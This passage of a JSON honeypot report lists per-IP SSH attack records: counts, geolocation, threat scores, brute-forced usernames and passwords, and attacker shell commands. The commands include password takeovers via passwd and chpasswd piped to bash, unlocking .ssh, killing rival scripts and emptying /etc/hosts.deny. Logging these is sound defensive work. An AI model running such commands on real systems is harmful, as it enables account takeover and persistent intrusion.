        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 63199,
      "as_org": "CDS Global Cloud Co., Ltd",
      "threat_score": 59.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.9,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 244,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T21:37:54.946000+00:00",
        "last_seen_30d": "2026-05-31T17:42:30.982000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 104
      }
    },
    "123.165.152.140": {
      "attack_count": 208,
      "first_seen": "2026-05-22T20:43:05.503Z",
      "last_seen": "2026-05-23T08:11:26.032Z",
      "sessions": 104,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 319,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:43:05.503000+00:00",
        "last_seen_30d": "2026-05-23T08:12:30.041000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 208,
        "Suricata": 111
      }
    },
    "45.180.86.12": {
      "attack_count": 189,
      "first_seen": "2026-05-22T21:04:24.869Z",
      "last_seen": "2026-05-23T07:42:22.783Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 269139,
      "as_org": "AN TELECOM",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:04:24.869000+00:00",
        "last_seen_30d": "2026-05-23T07:43:23.286000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 189,
        "Suricata": 94
      }
    },
    "41.60.233.94": {
      "attack_count": 178,
      "first_seen": "2026-05-19T07:40:09.640Z",
      "last_seen": "2026-05-19T17:59:24.688Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 267,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:40:09.640000+00:00",
        "last_seen_30d": "2026-05-19T18:00:30.370000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 89
      }
    },
    "20.244.20.183": {
      "attack_count": 169,
      "first_seen": "2026-05-13T14:33:48.786Z",
      "last_seen": "2026-05-13T15:17:43.752Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "345gs5662d34",
        "admin",
        "ankit",
        "dev",
        "mom",
        "retag",
        "titus",
        "uzivatel",
        "work",
        "yi",
        "zcm",
        "zhangyue",
        "zhao"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "A@123456",
        "Qwe123321",
        "abcd1234",
        "ankit",
        "devdev",
        "mom",
        "novell",
        "password01!",
        "password1",
        "test12345",
        "titus123",
        "uzivatel",
        "virus",
        "work123",
        "zcm"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nvYDCy5PT58Ir\\nvYDCy5PT58Ir\\n\"|passwd",
        "echo -e \"12345678\\nvYDCy5PT58Ir\\nvYDCy5PT58Ir\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:33:48.786000+00:00",
        "last_seen_30d": "2026-05-13T15:18:46.885000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 52
      }
    },
    "161.81.121.208": {
      "attack_count": 146,
      "first_seen": "2026-05-20T07:11:00.002Z",
      "last_seen": "2026-05-20T18:11:32.528Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:11:00.002000+00:00",
        "last_seen_30d": "2026-05-20T18:12:40.473000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 146,
        "Suricata": 83
      }
    },
    "45.61.52.18": {
      "attack_count": 143,
      "first_seen": "2026-05-22T20:02:06.747Z",
      "last_seen": "2026-05-22T20:49:14.934Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "appuser",
        "dani",
        "mssql",
        "nominatim",
        "proxyuser",
        "pun",
        "satis",
        "soporte",
        "testtest",
        "testuser"
      ],
      "passwords_attempted": [
        "123",
        "123456789",
        "123456aA.",
        "1234abcd!@#",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "A12345@",
        "A@12345678",
        "Admin@2026",
        "dani",
        "proxyuser",
        "pun",
        "satis",
        "testtest",
        "testuserpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vR4UhO2Lf6zY\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36007,
      "as_org": "Kamatera, Inc.",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:02:06.747000+00:00",
        "last_seen_30d": "2026-05-22T20:50:19.528000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "196.196.150.5": {
      "attack_count": 139,
      "first_seen": "2026-05-25T13:28:17.412Z",
      "last_seen": "2026-05-25T14:10:11.985Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "curl",
        "345gs5662d34",
        "admin",
        "cloud",
        "ftpuser1",
        "git",
        "sammy",
        "sandeep",
        "test2"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "KS@gshyx@zl1651",
        "Nihao123",
        "Wangsu@2017",
        "Zxcasd123",
        "aa123456.",
        "adminadmin",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "sandeep",
        "test2123",
        "welltech12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"welltech12\\n0T61ebHKy1S5\\n0T61ebHKy1S5\\n\"|passwd",
        "echo -e \"welltech12\\n0T61ebHKy1S5\\n0T61ebHKy1S5\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Valencia",
      "asn": 58065,
      "as_org": "Orion Network Limited",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T13:28:17.412000+00:00",
        "last_seen_30d": "2026-05-25T14:11:12.835000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 139,
        "Suricata": 40
      }
    },
    "212.192.240.10": {
      "attack_count": 138,
      "first_seen": "2026-05-08T06:16:26.656Z",
      "last_seen": "2026-05-29T23:07:27.560Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 213035,
      "as_org": "Des Capital B.V.",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.1,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 161,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:16:26.656000+00:00",
        "last_seen_30d": "2026-05-29T23:08:31.744000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 92,
        "Suricata": 69
      }
    },
    "148.153.121.223": {
      "attack_count": 132,
      "first_seen": "2026-05-08T05:00:13.557Z",
      "last_seen": "2026-05-31T12:18:52.553Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 63199,
      "as_org": "CDS Global Cloud Co., Ltd",
      "threat_score": 53.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:00:13.557000+00:00",
        "last_seen_30d": "2026-05-31T12:19:54.355000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 66
      }
    },
    "195.26.87.217": {
      "attack_count": 126,
      "first_seen": "2026-05-05T04:00:38.328Z",
      "last_seen": "2026-05-31T12:41:20.181Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Haarlem",
      "asn": 43641,
      "as_org": "SOLLUTIUM EU Sp z.o.o.",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:00:38.328000+00:00",
        "last_seen_30d": "2026-05-31T12:42:24.929000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "2.27.20.192": {
      "attack_count": 119,
      "first_seen": "2026-05-21T22:58:29.538Z",
      "last_seen": "2026-05-21T23:29:57.566Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "vnc",
        "345gs5662d34",
        "cloud_user",
        "master",
        "test",
        "teste",
        "user4"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456!",
        "Changeme@123",
        "Test123456",
        "master",
        "password",
        "q1w2e3r4t5y6",
        "user4",
        "vnc"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"vnc\\n5oeajUp7qnKY\\n5oeajUp7qnKY\\n\"|passwd",
        "echo -e \"vnc\\n5oeajUp7qnKY\\n5oeajUp7qnKY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:58:29.538000+00:00",
        "last_seen_30d": "2026-05-21T23:31:05.404000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "82.115.17.167": {
      "attack_count": 119,
      "first_seen": "2026-05-22T12:00:57.720Z",
      "last_seen": "2026-05-22T12:31:21.496Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "developer",
        "345gs5662d34",
        "kkadmin",
        "myuser",
        "tunnel",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1231",
        "1234",
        "123qwe!@#",
        "159159",
        "3245gs5662d34",
        "345gs5662d34",
        "Ab123456@",
        "developer2026",
        "kkadmin",
        "root@2024",
        "tunnel",
        "zaq1@WSX"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"developer2026\\nyGlktBDRVdIS\\nyGlktBDRVdIS\\n\"|passwd",
        "echo -e \"developer2026\\nyGlktBDRVdIS\\nyGlktBDRVdIS\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": null,
      "asn": 212552,
      "as_org": "BitCommand LLC",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:00:57.720000+00:00",
        "last_seen_30d": "2026-05-22T12:32:31.392000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "107.155.55.85": {
      "attack_count": 118,
      "first_seen": "2026-05-30T22:31:41.016Z",
      "last_seen": "2026-05-30T22:56:20.642Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "eth",
        "sam",
        "steam",
        "tester",
        "ubuntu"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "@a123456",
        "P@ssw0rd",
        "Qwe2026@",
        "ali1234",
        "eth",
        "qwer1234",
        "qwer1234!@#",
        "root_root",
        "sam"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:s4ouefAvhiSl\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T22:31:41.016000+00:00",
        "last_seen_30d": "2026-05-30T22:57:26.358000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "124.43.4.17": {
      "attack_count": 114,
      "first_seen": "2026-05-24T11:00:41.746Z",
      "last_seen": "2026-05-24T11:37:41.214Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "fivem",
        "345gs5662d34",
        "mk",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwerty123123",
        "Zxc12345",
        "kontol",
        "mk123",
        "qazWSXedc123!@#",
        "qazwsxedcrfv",
        "qq123456",
        "root123@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nEMpSVvxZrOFx\\nEMpSVvxZrOFx\\n\"|passwd",
        "echo -e \"123\\nEMpSVvxZrOFx\\nEMpSVvxZrOFx\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sri Lanka",
      "country_code": "LK",
      "city": "Colombo",
      "asn": 9329,
      "as_org": "Sri Lanka Telecom Internet",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T11:00:41.746000+00:00",
        "last_seen_30d": "2026-05-24T11:43:09.991000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 28
      }
    },
    "46.101.138.104": {
      "attack_count": 102,
      "first_seen": "2026-05-02T00:36:12.382Z",
      "last_seen": "2026-05-02T05:04:42.588Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:36:12.382000+00:00",
        "last_seen_30d": "2026-05-02T05:44:08.447000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 76
      }
    },
    "222.127.55.82": {
      "attack_count": 98,
      "first_seen": "2026-05-18T21:55:08.376Z",
      "last_seen": "2026-05-19T06:19:07.371Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 150,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:55:08.376000+00:00",
        "last_seen_30d": "2026-05-19T06:20:13.782000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 98,
        "Suricata": 52
      }
    },
    "184.154.153.131": {
      "attack_count": 90,
      "first_seen": "2026-05-12T08:46:36.986Z",
      "last_seen": "2026-05-31T08:34:49.766Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T08:46:36.986000+00:00",
        "last_seen_30d": "2026-05-31T08:35:57.826000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 45
      }
    },
    "116.52.107.241": {
      "attack_count": 86,
      "first_seen": "2026-05-20T00:20:31.405Z",
      "last_seen": "2026-05-20T05:15:19.433Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 130,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
